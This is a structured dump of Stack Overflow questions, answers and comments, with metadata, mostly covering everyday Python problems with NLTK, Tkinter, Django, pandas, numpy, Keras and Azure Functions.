type: Comment

http://stackoverflow.com/comment/80863649
comment on: http://stackoverflow.com/a/46957907
type: Comment
type: AnswerComment
score: 0
has text: According [to this thread](https://stackoverflow.com/questions/11475885/python-replace-regex) replace cannot do it, but it can be done using re.

http://stackoverflow.com/q/46912465
tagged with: python
has body: What is the significance of the return part when evaluating functions? Why is this necessary?
has comment: http://stackoverflow.com/comment/80772941
score: 0
has answer: http://stackoverflow.com/a/46914132
has comment: http://stackoverflow.com/comment/80772141
has comment: http://stackoverflow.com/comment/80772011
type: Question
tagged with: numpy
has title: Evaluating a function using numpy
answer count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46913823
tagged with: arrays
has comment: http://stackoverflow.com/comment/80773056

http://stackoverflow.com/q/46986560
type: Question
linked to: http://stackoverflow.com/q/19130512
has comment: http://stackoverflow.com/comment/80926117
has comment: http://stackoverflow.com/comment/80920196
tagged with: nltk
tagged with: http://stackoverflow.com/tag/csv
accepted answer: http://stackoverflow.com/a/47007462
has title: WordListCorpusReader is not iterable
tagged with: python
has answer: http://stackoverflow.com/a/47007462
upvote count: 13
has body: So, I am new to using Python and NLTK. I have a file called reviews.csv which consists of comments extracted from amazon. I have tokenized the contents of this csv file and written it to a file called csvfile.csv. Here's the code : from nltk.tokenize import sent_tokenize, word_tokenize from nltk.stem import PorterStemmer import csv #CommaSpaceVariable from nltk.corpus import stopwords ps = PorterStemmer() stop_words = set(stopwords.words("english")) with open ('reviews.csv') as csvfile: readCSV = csv.reader(csvfile,delimiter='.') for lines in readCSV: word1 = word_tokenize(str(lines)) print(word1) with open('csvfile.csv','a') as file: for word in word1: file.write(word) file.write('\n') with open ('csvfile.csv') as csvfile: readCSV1 = csv.reader(csvfile) for w in readCSV1: if w not in stopwords: print(w) I am trying to perform stemming on csvfile.csv. But I get this error: Traceback (most recent call last):&lt;br&gt; File "/home/aarushi/test.py", line 25, in &lt;module&gt; &lt;br&gt; if w not in stopwords: &lt;br&gt; TypeError: argument of type 'WordListCorpusReader' is not iterable
has comment: http://stackoverflow.com/comment/80921205
tagged with: stemming
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80932966
downvote count: 0
answer count: 1
score: 13
has comment: http://stackoverflow.com/comment/80920202
favorite count: 0

http://stackoverflow.com/q/46916608
tagged with: variables
has comment: http://stackoverflow.com/comment/80780742
type: Question
tagged with: python
has body: I want to change a variable when I click any of the buttons login or register so as to open proper tkinter windows to create a window which asks for login or register. When I run this code and clicked register it doesn't changes the value of the variable.What I am doing wrong? Also if there is any better way of asking user what to do, please mention it. x=3 def vall(): global x x=0 def valr(): global x x=1 main=Tk() main.title("Karren") row=Frame(main) l=Button(main,text="Login",command=(lambda *args:vall)) l.pack(side=LEFT, padx=50, pady=50) r=Button(main,text="Register",command=(lambda *args:valr)) r.pack(side=LEFT, padx=50, pady=50) main.mainloop() if x==1: if __name__ == '__main__': root = Tk() root.title("Register") ents = makeform(root, fields) root.bind('&lt;Return&gt;', (lambda event, e=ents: fetch(e))) b1 = Button(root,fg="orange",bg="white", text='Show', command=(lambda e=ents: fetch(e))) b1.bind("&lt;Enter&gt;",turnRed) b1.pack(side=LEFT, padx=5, pady=5) b2 = Button(root,fg="orange",bg="white", text='Quit', command=root.destroy) b2.bind("&lt;Enter&gt;",turnRed) b2.pack(side=LEFT, padx=5, pady=5) root.mainloop() P.S.- If you want to see the full code of this gui class or the login and register class please let me know.
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/46916959
tagged with: tkinter
has title: Changing variable's value using button in Tkinter (Python)
has answer: http://stackoverflow.com/a/46916959
answer count: 1
tagged with: button

http://stackoverflow.com/q/46992205
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80933295
tagged with: django
has comment: http://stackoverflow.com/comment/80932851
has body: I'll delete an object from my second unmanaged database (pgsql). view.py class DeleteDomain(DeleteView): model = Domains template_name = 'domain/delete_domain.html' @method_decorator(login_required) def dispatch(self, *args, **kwargs): return super(DeleteDomain, self).dispatch(*args, **kwargs) def get_object(self, *args, **kwargs): obj = super(DeleteDomain, self).get_object(*args, **kwargs) if obj.created_by != self.request.user: raise Http404 return obj def get_success_url(self): return reverse('overview') def get_context_data(self, **kwargs): context = super(DeleteDomain, self).get_context_data(**kwargs) context['nav_overview'] = True return context settings.py: DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), }, 'pgsql': { 'ENGINE': 'django.db.backends.postgresql', 'HOST': 'localhost', 'PORT': '5432', 'PASSWORD': 'xxxxx', 'USER': 'vmailuser', 'NAME': 'virtualmail', 'OPTIONS': { 'options': '-c search_path=public' }, } } models.py: # -*- coding: utf-8 -*- from django.db import models from django.utils.translation import ugettext_lazy as _ from django.core.validators import RegexValidator class Domains(models.Model): id = models.AutoField(primary_key=True, unique=True) domain = ( models.CharField(max_length=255, blank=False, null=True, validators=[RegexValidator( regex=r"([a-zA-Z0-9-_]+\.)+[a-zA-Z0-9-_] {2,}", message=_("Invalid domain name") )], help_text=_('Please enter the email Domain here') ) ) created_by = ( models.CharField(max_length=255) ) class Meta: managed = False db_table = 'domains' def __unicode__(self): return self.domain urls.py: # -- coding: utf-8 -- from django.conf.urls import url from .views import AddDomainView, DeleteDomain urlpatterns = [ url(r'add', AddDomainView.as_view(), name='add_domain'), url(r'(?P&lt;pk&gt;\d+)/delete/$', DeleteDomain.as_view(), name='delete_domain'), If I try to access https://localhost:8080/1/delete I get: Exception Value: no such table: domains And in m…
has comment: http://stackoverflow.com/comment/80930948
has comment: http://stackoverflow.com/comment/80932345
type: Question
has comment: http://stackoverflow.com/comment/80934679
score: 0
has comment: http://stackoverflow.com/comment/80931757
tagged with: django-views
has comment: http://stackoverflow.com/comment/80941779
has comment: http://stackoverflow.com/comment/80931433
has title: Django DeleteView select Database to use
has comment: http://stackoverflow.com/comment/80932668
has comment: http://stackoverflow.com/comment/80932573
tagged with: python
has comment: http://stackoverflow.com/comment/80941418
answer count: 0
has comment: http://stackoverflow.com/comment/80941835

http://stackoverflow.com/q/46907837
tagged with: performance
tagged with: pandas
answer count: 1
type: Question
has title: pandas speed up creation of columns from column of lists
has answer: http://stackoverflow.com/a/46911128
accepted answer: http://stackoverflow.com/a/46911128
tagged with: python
has body: I have an original dataset with informations stored as a list of dict, in a column (this is a mongodb extract). This is the column : [{u'domain_id': ObjectId('A'), u'p': 1}, {u'domain_id': ObjectId('B'), u'p': 2}, {u'domain_id': ObjectId('B'), u'p': 3}, ... {u'domain_id': ObjectId('CG'), u'p': 101}] I'm only interested in the first 10 dict ( 'p' value from 1 to 10). The output dataframe should look like this : index | A | ... | B ------------------------ 0 | 1 | ... | 2 1 | Nan | ... | Nan 2 | Nan | ... | 3 e.g : For each line of my original DataFrame, I create a column for each domain_id, and I associate it with the corresponding 'p' value. I can have the same domain_id for several 'p' value, in this case I only keep the first one (smaller 'p') Here is my current code, which may be easier to understand : first = True for i in df.index[:]: # for each line of original Dataframe temp_list = df["positions"][i] # this is the column with the list of dict inside col_list = [] data_list = [] for j in range(10): # get the first 10 values try: if temp_list[j]["domain_id"] not in col_list: # check if domain_id already exist col_list.append(temp_list[j]["domain_id"]) data_list.append(temp_list[j]["p"]) except IndexError as e: print e df_temp = pd.DataFrame([np.transpose(data_list)],columns = col_list) # create a temporary DataFrame for this line of the original DataFrame if first: df_kw = df_temp first = False else: # pass df_kw = pd.concat([df_kw,df_temp], axis=0, ignore_index=True) # concat all the temporary DataFrame : now I have my output Dataframe, with the same number of lines as my original DataFrame. This is all working fine, but it is very very slow as I have 15k lines and end up with 10k columns. I'm sure (or at least I hope very much) that there is a simpler an faster solution : any advice will be much appreciated.
type: AnsweredQuestion
tagged with: python-2.7
score: 0

http://stackoverflow.com/comment/80801438
type: Comment
type: AnswerComment
score: 0
has text: A new problem occured when i used "tf.image.per_image_standardization(image_tensor)". Do you have any suggestions? Thank you very much.
comment on: http://stackoverflow.com/a/46926293

http://stackoverflow.com/comment/81066568
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47059116
has text: @user8786892 But exactly how are they laid out? Where are the commas, newlines, etc.?
type: Comment

http://stackoverflow.com/q/47028021
score: -2
tagged with: python
has title: Keep getting syntax error when trying to call python function
has body: Can you guys help me out? I've been stuck trying to figure out what I'm doing wrong when calling this function. I have previous examples that, at least to my eyes look exactly the same and work just fine. VSCode claims the syntax error is in the call. I'm sure it's a simple fix but it's driving me mad, Thanks. lst = [4, 6, 1, 3, 5, 7, 25] def stars(myList): for i in range(0, len(myList - 1)): print ("*" * (myList[i]) stars(lst)
type: Question
has answer: http://stackoverflow.com/a/47028044
tagged with: syntax-error
tagged with: function
upvote count: 0
type: UnansweredQuestion
downvote count: 2
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/81003038
has comment: http://stackoverflow.com/comment/81003110
has comment: http://stackoverflow.com/comment/81003003

http://stackoverflow.com/comment/81072285
comment on: http://stackoverflow.com/q/47061974
has text: `spl[i].replace(spl[i][spl[i].find('title'):],'')`
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80826700
comment on: http://stackoverflow.com/q/46939657
score: 0
has text: you want to keep two `es` separately ?
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/80883869
has text: I dont have a list of mixed types do I?? vList contains all integers
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46968168

http://stackoverflow.com/comment/81040209
has text: @sgarizvi thank you, after change the type to uint8, it works. I thought that rgb use 'int' type but maybe there's something else process that I don't know.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47034069

http://stackoverflow.com/q/46916783
score: 0
has comment: http://stackoverflow.com/comment/80781378
has comment: http://stackoverflow.com/comment/80783490
answer count: 1
has comment: http://stackoverflow.com/comment/80781251
has comment: http://stackoverflow.com/comment/80781394
has comment: http://stackoverflow.com/comment/80780988
has comment: http://stackoverflow.com/comment/80780995
type: Question
tagged with: python
has comment: http://stackoverflow.com/comment/80781041
accepted answer: http://stackoverflow.com/a/46917151
has body: this code reads data from a text file and then proceeds to sort the list created by the program by the number contained in each row (lowest to highest), then the program should match the name entered with one from from the list and then proceed to calculate that persons place. Here is the code: def Rank(): #Declare List RankList=[] #Opening and reading the file with open('GolfInfo.txt','rU') as csvfile: reader=csv.reader(csvfile) for row in reader: #Data added to list RankList.append(row) #List is sorted by amount of strokes taken (Total) from lowest to highest RankList.sort() index=0 Position=0 RankMessageFull=("") for row in RankList: #Checks to see if Name is present in the list if row[1] == Name.get(): Position=index+1 #These if-elif-else statements determine a suitable suffix for the rank if Position==1: RankMessageFull=(Position,"st") RankMessage.set(RankMessageFull) elif Position==2: RankMessageFull=(Position,"nd") RankMessage.set(RankMessageFull) elif Position==3: RankMessageFull=(Position,"rd") RankMessage.set(RankMessageFull) else: RankMessageFull=(Position,"th") RankMessage.set(RankMessageFull) else: index=index+1 The textfile reads: 63,April,"('-', 7)" 69,Betsy,"('-', 1)" 80,Laura,"('+', 10)" 93,Coco,"('+', 23)" The error occurs in the line: if row[1] == Name.get(): But I do not know why. The full error message can be seen here: if row[1] == Name.get(): IndexError: list index out of range RankMessage is a Tkinter Stringvar, Name is also a Tkinter StringVar.
has comment: http://stackoverflow.com/comment/80781098
has title: Index out of range when reading from a csv file
has answer: http://stackoverflow.com/a/46917151
has comment: http://stackoverflow.com/comment/80781194
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80781141

http://stackoverflow.com/comment/80848768
has text: Worked but with 1k less results, why is that?
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46950497

http://stackoverflow.com/q/47028073
tagged with: dictionary
has comment: http://stackoverflow.com/comment/81005259
tagged with: calculation
favorite count: 0
has comment: http://stackoverflow.com/comment/81003141
type: AnsweredQuestion
has body: I have a dictionary like this, {'A':[[1,30],[40,50],[60,79]] 'B':[[2,23],[26,43],[59,119]] 'C':[[1,100],[149,167],[199,250]] ... } I had the MAX value which is 600. Is it possible to calculate the difference between each value in every list? Finally, I can get a dictionary like this {'A':[[31,39],[51,59],[80,600]] 'B':[[24,25],[44,58],[120,600]] 'C':[[101,148],[168,198],[251,600]] ... } Let me explain how final output comes. The origin data is 'A':[[i1,i2],[i3,i4],[i5,i6]] Max value is M, For each list, final output will be like 'A':[[(i2)+1,(i3)-1],[(i4)+1,(i5)-1],[(i6)+1,M]] It seems I need a for loop to get there. But I have no idea how to do this in dictionary.
score: 3
answer count: 3
has comment: http://stackoverflow.com/comment/81003163
has comment: http://stackoverflow.com/comment/81003514
has answer: http://stackoverflow.com/a/47028491
accepted answer: http://stackoverflow.com/a/47028321
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/47028585
has answer: http://stackoverflow.com/a/47028321
upvote count: 3
has title: How to change list values in dictionary in python?
downvote count: 0
possible better answer: http://stackoverflow.com/a/47028491
tagged with: python

http://stackoverflow.com/comment/81046136
comment on: http://stackoverflow.com/q/47049035
type: QuestionComment
has text: can you clarify what is spl_mismatch and what is mismatch?
score: 0
type: Comment

http://stackoverflow.com/comment/80889380
has text: Thank You very much :), Nice
type: AnswerComment
comment on: http://stackoverflow.com/a/46970876
score: 0
type: Comment

http://stackoverflow.com/q/46960146
score: -1
tagged with: azure
tagged with: azure-functions
has answer: http://stackoverflow.com/a/47353472
downvote count: 2
answer count: 1
upvote count: 1
favorite count: 0
type: Question
has body: I have had my function running for a while but suddenly nothing works any more. I followed the instructions found here https://prmadi.com/running-python-code-on-azure-functions-app/ with success. The code was automatically deployed from Github. However, a few weeks ago things went wrong. I have not solved my problem but I have figured some things out: 1) the modules (using pip) I installed are gone or can no longer be found. I managed to install them but they disappear within some hours. 2) the function runs 2.7. I guess that is because the PATH has been changed. Previously \home\site\tools was in the path. That is no longer the case. What worked previously was to install python 3 using nuget site-extension and then move it to the \home\site\tools folder. I have tried to move the python3 installation to e.g. /home/site/deployments/tools which is in the path. Update: I tried to use the instructions here: https://lnx.azurewebsites.net/python-3-6-deployments-on-azure-function-apps/. I managed to get my function running python 3 and I managed to have Azure install the required modules. So in short I have the following following folder structure: requirements.txt ├── function ├── deploy.cmd ├── .deployment ├── function.json ├── run.py deployment is @if "%SCM_TRACE_LEVEL%" NEQ "4" @echo off :: -------------------------------------------------------- :: KUDU Deployment Script for Python 3.6 on Azure Functions :: Version: 0.1 :: -------------------------------------------------------- :: Prerequisites :: ------------- :: Verify node.js installed where node 2&gt;nul &gt;nul IF %ERRORLEVEL% NEQ 0 ( echo Missing node.js executable, please install node.js, if already installed make sure it can be reached from current environment. goto error ) :: Setup :: ----- setlocal enabledelayedexpansion SET ARTIFACTS=%~dp0%..\artifacts IF NOT DEFINED DEPLOYMENT_SOURCE ( SET DEPLOYMENT_SOURCE=%~dp0%. ) IF NOT DEFINED DEPLOYMENT_TARGET ( SET DEPLOYMENT_TARGET=%ARTIFACTS%\wwwroot ) IF NOT DEF…
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80888645
has title: python3 no longer works on Azure functions
tagged with: python
has comment: http://stackoverflow.com/comment/80971133

http://stackoverflow.com/comment/80832962
comment on: http://stackoverflow.com/a/46913592
type: AnswerComment
score: 0
has text: Thanks! I just posted the approach I'm settling on in my answer above -- it programmatically generates the list of `F.col(..).alias(..)` columns such that the code is 'cleaner', but it's based off of your answer here.
type: Comment

http://stackoverflow.com/comment/80786061
comment on: http://stackoverflow.com/a/46918294
type: AnswerComment
score: 0
has text: No it should be all caps as I have shown it, not mixed case as you have.
type: Comment

http://stackoverflow.com/q/46963550
linked to: http://stackoverflow.com/q/10623302
has answer: http://stackoverflow.com/a/46974012
tagged with: python
has answer: http://stackoverflow.com/a/46963873
has answer: http://stackoverflow.com/a/46963848
answer count: 4
has title: convert a list of strings list into integers
possible better answer: http://stackoverflow.com/a/46963598
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/80874990
tagged with: list
has answer: http://stackoverflow.com/a/46963598
upvote count: 3
downvote count: 0
favorite count: 0
type: Question
has body: could you help me please? I use Python 3.x and would convert this variable ex into an integers list. ex = [['2003', '12', '27', '7', '8646'], ['2003', '12', '28', '7', '7645'], ['2003', '12', '29', '2', '12823'], ['2003', '12', '30', '2', '14438'], ['2003', '12', '31', '3', '12374']] I tried with this function but it doesn't work properly: liste = [] def function_int(x): for i in x: liste.append(int[i]) return liste Thanks you for your support!
accepted answer: http://stackoverflow.com/a/46974012

http://stackoverflow.com/comment/80872888
has text: Nice usage of `triu` and `tril`:-)
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46962086
type: AnswerComment

http://stackoverflow.com/comment/80945145
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46999157
has text: Basically, `isinstance` covers inheritence hierarchy as well. For example, `isinstance(True, int)` is true, but `type(True) == int` is False. In python2 this is especially important. Because unicodes and strs are treated differently. You'd handle it with `isinstance(x, basestring)`, but not with `type` as easily.

http://stackoverflow.com/q/47026505
type: Question
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47026635
has body: I have a project with the following directories and files structure: I have this line of code in application.py: db = MongoEngine() Which i'd like to import to models.py using: from application import db But i get the error: ImportError: cannot import name 'db' How can i fix it?
downvote count: 0
score: 1
upvote count: 1
answer count: 1
favorite count: 0
has title: Python - ImportError: cannot import name 'db'

http://stackoverflow.com/q/47043682
has answer: http://stackoverflow.com/a/47043708
answer count: 1
has body: Suppose I have third party data which has some goofy convention for missing values (in my particular application, they use '-'). Is there some elegant way to tell pandas to extend its notion of missing value?
has comment: http://stackoverflow.com/comment/81034683
type: Question
has comment: http://stackoverflow.com/comment/81042624
accepted answer: http://stackoverflow.com/a/47043708
tagged with: python
has title: extending the notion of missing values in pandas
has comment: http://stackoverflow.com/comment/81034756
has comment: http://stackoverflow.com/comment/81041434
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/81036286
tagged with: pandas

http://stackoverflow.com/comment/81067723
type: QuestionComment
type: Comment
score: 2
comment on: http://stackoverflow.com/q/47060121
has text: Yes, and? What's wrong with your code?

http://stackoverflow.com/q/46940199
tagged with: arrays
downvote count: 0
score: 6
possible better answer: http://stackoverflow.com/a/46940368
has title: How to check is numpy 2d array "surrounded" by zeros
has answer: http://stackoverflow.com/a/46940368
type: AnsweredQuestion
answer count: 3
has comment: http://stackoverflow.com/comment/80827776
has answer: http://stackoverflow.com/a/46940403
tagged with: python
upvote count: 6
favorite count: 0
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/46940467
has comment: http://stackoverflow.com/comment/80827906
accepted answer: http://stackoverflow.com/a/46940403
has body: Is there any neat way to check is numpy array surrounded by zeros. Example: [[0,0,0,0], [0,1,2,0], [0,0,0,0]] I know I can iterate it element wise to find out but I wonder is there any nice trick we can use here. The numpy array is of floats, n x m of arbitrary size. Any ideas are welcome.

http://stackoverflow.com/comment/80848233
has text: your snippet has done it, what's your question now?
type: Comment
comment on: http://stackoverflow.com/q/46950384
score: 0
type: QuestionComment

http://stackoverflow.com/a/46920741
type: Answer
has body: The ! simply indicates that the following code will be executed in the terminal. So one option is just to code your statement in bash. It's not quite as easy as Python, but you can accomplish the same task like this: ! for file in /Users/images/*.jpg; do python process.py --filename /Users/images/$i; done It's a for loop, but not a Python for loop. Alternatively, consider going back to the source code of process.py and modifying it so that it will loop through the files in a directory. This can be done easily enough with the os.listdir function.
upvote count: 3
downvote count: 0
answers question: http://stackoverflow.com/q/46920538
score: 3

http://stackoverflow.com/q/47042594
tagged with: dataframe
has title: How to implement a pandas dataframe row as an object (and have its own methods)?
type: Question
has comment: http://stackoverflow.com/comment/81033217
score: 0
has comment: http://stackoverflow.com/comment/81032833
has comment: http://stackoverflow.com/comment/81032878
has comment: http://stackoverflow.com/comment/81032477
tagged with: pandas
tagged with: python
has comment: http://stackoverflow.com/comment/81033035
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81032498
answer count: 0
has body: I am using a pandas dataframe to hold financial data (time series of candlesticks). Columns are: (index: datetime, financial_instrument, granularity, open, high, low, close, volume). I have built a class that stores this dataframe to implement specific methods for this kind of object (time series of candlesticks), such as: def getCandle(self, i): try: return self._list_of_candles.iloc[i:] except: return None def getLastCandle(self): return self.getCandle(-1) def getPreviousCandle(self): return self.getCandle(-2) It makes a lot of sense for me to think as each row on the dataframe as an object (candlestick), and to have specific methods for this object, such as: def getCandleSize(self): return self.getHighValue() - self.getLowValue() I am open to completely different lines of thought on how to deal with this problem and how to architecture its solution. I honestly have no clue on how to solve it. The solution I can see now is by implementing some specific methods on top of the pandas series object. But how to implement it is not clear to me. Once the row (candle) is selected from the dataframe, it can be manipulated quite a lot, so in previous applications I had built, it was really useful to have a 'Candle' class for these kinds of operations. I need a performant solution. I really appreciate if you can point me in the direction of a solution for this problem. Thank you. UPDATE: I am thinking about converting the selected row to a Candle object, as it seems much easier to build code if it is structured that way, as I don't need to be making fecthing data from the dataframe for each atributte or calculation to be made.
type: UnansweredQuestion

http://stackoverflow.com/comment/80998822
has text: Thanks, I'm going to correct the regex.
comment on: http://stackoverflow.com/q/47025645
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/46947281
type: Answer
answers question: http://stackoverflow.com/q/46945062
score: 0
has body: I'will answer it with the approach that is currently being into use: create a inverted dict with keys as all the words we have in keywords file and value as tuple of (like keyword, not like keyword, entity name) so for a single example in question it would be {'batteri':('%batteri%pl%,'%interstate batteri%|%el toro water%|%osibatteries%','batteries plus'), 'pl': ('%batteri%pl%','%interstate batteri%|%el toro water%|%osibatteries%','batteries plus')} Now split the input string on space and search each word into this inverted dict and for each match, get the full like keyword, full not like keyword and do complete regex search on that. If like keyword is present and not like is not there i.e. successful match, return the corresponding identity. Time complexity: Since the input string is almost always less than 10 words, it will have ~10 dict get operations. After that it's the set intersection between input string set(based on space split) and the like &amp; not like keywords with a exit mechanism at the first success.

http://stackoverflow.com/q/47025036
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47088673
has comment: http://stackoverflow.com/comment/81000440
has comment: http://stackoverflow.com/comment/81010504
has comment: http://stackoverflow.com/comment/81035641
has comment: http://stackoverflow.com/comment/81135979
has comment: http://stackoverflow.com/comment/81122235
tagged with: python
tagged with: keras-2
upvote count: 10
linked to: http://stackoverflow.com/q/47157526
has comment: http://stackoverflow.com/comment/81116665
has title: Keras network can never classify the last class
type: Question
score: 9
has comment: http://stackoverflow.com/comment/81120364
has comment: http://stackoverflow.com/comment/81111721
has comment: http://stackoverflow.com/comment/81220623
accepted answer: http://stackoverflow.com/a/47088673
tagged with: deep-learning
has comment: http://stackoverflow.com/comment/81011686
answer count: 1
tagged with: keras
has comment: http://stackoverflow.com/comment/81032356
downvote count: 1
has body: I have been working on my project Deep Learning Language Detection which is a network with these layers to recognise from 16 programming languages: And this is the code to produce the network: # Setting up the model graph_in = Input(shape=(sequence_length, number_of_quantised_characters)) convs = [] for i in range(0, len(filter_sizes)): conv = Conv1D(filters=num_filters, kernel_size=filter_sizes[i], padding='valid', activation='relu', strides=1)(graph_in) pool = MaxPooling1D(pool_size=pooling_sizes[i])(conv) flatten = Flatten()(pool) convs.append(flatten) if len(filter_sizes)&gt;1: out = Concatenate()(convs) else: out = convs[0] graph = Model(inputs=graph_in, outputs=out) # main sequential model model = Sequential() model.add(Dropout(dropout_prob[0], input_shape=(sequence_length, number_of_quantised_characters))) model.add(graph) model.add(Dense(hidden_dims)) model.add(Dropout(dropout_prob[1])) model.add(Dense(number_of_classes)) model.add(Activation('softmax')) model.compile(loss='categorical_crossentropy', optimizer='adadelta', metrics=['accuracy']) So my last language class is SQL and in the test phase, it can never predict SQL correctly and it scores 0% on them. I thought this was due to poor quality of SQL samples (and indeed they were poor) so I removed this class and started training on 15 classes. To my surprise, now F# files had 0% detection and F# was the last class after removing SQL (i.e. the one-hot-vector where the last position is 1 and the rest is 0). Now if a network that was trained on 16 used against 15, it would achieve a very high success rate of 98.5%. The code that I am using is pretty simple and available mainly in defs.py and data_helper.py Here is the result of network trained with 16 classes tested against 16 classes: Final result: 14827/16016 (0.925761738262) xml: 995/1001 (0.994005994006) fsharp: 974/1001 (0.973026973027) clojure: 993/1001 (0.992007992008) java: 996/1001 (0.995004995005) scala: 990/1001 (0.989010989011) python: 983/1001 …
has comment: http://stackoverflow.com/comment/81136103
favorite count: 0
has comment: http://stackoverflow.com/comment/81345055

http://stackoverflow.com/comment/81043713
has text: Instead of printing the output, could you help me figure out how to send that to a text file called "results.txt" ?
comment on: http://stackoverflow.com/a/47045897
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/47025141
tagged with: arrays
tagged with: python
tagged with: sparse-matrix
accepted answer: http://stackoverflow.com/a/47025503
type: AnsweredQuestion
score: 0
has body: I have a numpy sparse matrix A1 of type scipy.sparse.dok.dok_matrix with integer values. I'm trying to use it to subset another integer matrix A2 of type numpy.matrixlib.defmatrix.matrix by A2[A1&gt;0] Both of them have shape (1,10000). Although it works well to use A1[A1&gt;0] I get the following error: &gt;&gt; A2[A1&gt;0] Traceback (most recent call last): File "&lt;ipython-input-250-19959d659dc5&gt;", line 1, in &lt;module&gt; edge_counts[nodes&gt;0] File "//anaconda/lib/python2.7/site-packages/numpy/matrixlib/defmatrix.py", line 284, in __getitem__ out = N.ndarray.__getitem__(self, index) IndexError: only integers, slices (`:`), ellipsis (`...`), numpy.newaxis (`None`) and integer or boolean arrays are valid indices
has answer: http://stackoverflow.com/a/47025503
has title: numpy array subsetting error
answer count: 1
type: Question
tagged with: numpy

http://stackoverflow.com/comment/80998224
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47025307
has text: db is a list of dictionaries, for each dictionary I have 5 keys (description..nutrition), and each nutrition is a list of dictionaries, I want a data frame to include all dictionaries in nutrition and add a column for 'id' for the first dictionary is is 1008

http://stackoverflow.com/q/46993519
tagged with: bit-manipulation
has title: Python representation of negative integers
downvote count: 0
score: 24
has comment: http://stackoverflow.com/comment/97779302
has body: &gt;&gt;&gt; x = -4 &gt;&gt;&gt; print("{} {:b}".format(x, x)) -4 -100 &gt;&gt;&gt; mask = 0xFFFFFFFF &gt;&gt;&gt; print("{} {:b}".format(x &amp; mask, x &amp; mask)) 4294967292 11111111111111111111111111111100 &gt;&gt;&gt; &gt;&gt;&gt; x = 0b11111111111111111111111111111100 &gt;&gt;&gt; print("{} {:b}".format(x, x)) 4294967292 11111111111111111111111111111100 &gt;&gt;&gt; print("{} {:b}".format(~(x ^ mask), ~(x ^ mask))) -4 -100 I am having trouble figuring out how Python represents negative integers, and therefore how bit operations work. It is my understanding that Python attempts to emulate two's complement, but with any number of bits. Therefore, it is common to use 32-bit masks to force Python to set a standard size on integers before bit operations. As you can see in my example, -4 &amp; 0xFFFFFFFF yields a large positive number. Why does Python seem to read this as an unsigned integer, instead of a two's complement negative number? Later, the operation ~(x ^ mask), which should yield the exact same two's complement bit pattern as the large positive, instead gives -4. What causes the conversion to a signed int? Thanks!
upvote count: 24
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/55731457
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81117890
tagged with: python
has comment: http://stackoverflow.com/comment/80934026
has comment: http://stackoverflow.com/comment/97221233
has comment: http://stackoverflow.com/comment/80933786
tagged with: integer
has answer: http://stackoverflow.com/a/77082019
linked to: http://stackoverflow.com/q/16255496
answer count: 2

http://stackoverflow.com/a/46920634
has body: Use the glob module and maybe subprocess instead of !. A simple glob.glob("path/*.jpg") will let you iterate over all pictures. from glob import glob from subprocess import check_call for i in glob("/Users/images/*.jpg"): print("Processing:", i) check_call(["python", "process.py", "--filename", i], shell=False) Using ! or eval is never a good idea - the command may fail silently.
type: Answer
score: 1
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/46920538

http://stackoverflow.com/comment/80936129
has text: Also, that is a generator expression, not a list-comprehension.
comment on: http://stackoverflow.com/q/46994818
score: 1
type: Comment
type: QuestionComment

google-speech-api
tags question: http://stackoverflow.com/q/47021488
type: Tag
tag name: google-speech-api

http://stackoverflow.com/comment/80831232
score: 0
has text: you are writing an roi (w,h) of gray, not the entire image
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46940846

http://stackoverflow.com/comment/80879776
type: Comment
comment on: http://stackoverflow.com/q/46966060
type: QuestionComment
score: 1
has text: i am getting an answer instantaneously on my machine.. are you timing in milliseconds?

http://stackoverflow.com/q/47044241
type: Question
tagged with: python-3.x
has body: I found this question but the problem seems to persist. When I run result = requests.get("https://api.etc.com/v1/something", params=payload).json() and then run print(type(result)) print(type(result['data'][0])) I get the types 'dict' and 'string' (or something like that) as you would expect. However, I'm getting a "rate limit exceeded" error from the API at that last line on the console. If we're really storing the results in result, why does an API request appear to be generated from that line? The aim is to store the API request result in a variable to then probe its contents freely without triggering further requests. How do I do that? Is something else going on? The console points specifically to that line when moaning about request rate limits. Sometimes the error is triggered by other lines. For example, the latest output of the console is &gt; {'message': 'rate_limit_exceeded', 'status': 'error'} Traceback (most recent call last): File "/Users/User/folder/code.py", line 85, in &lt;module&gt; derivative_resuslt = result['data'][0] KeyError: 'data'
has title: How to store API request result in variable to avoid re-running request?
tagged with: python
has comment: http://stackoverflow.com/comment/81036493
has comment: http://stackoverflow.com/comment/81036474
has comment: http://stackoverflow.com/comment/81036688
score: 0
answer count: 0
type: UnansweredQuestion
tagged with: function
has comment: http://stackoverflow.com/comment/81036284
has comment: http://stackoverflow.com/comment/81035970
tagged with: python-requests
linked to: http://stackoverflow.com/q/15504280

http://stackoverflow.com/a/46962099
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46939451
upvote count: 5
score: 5
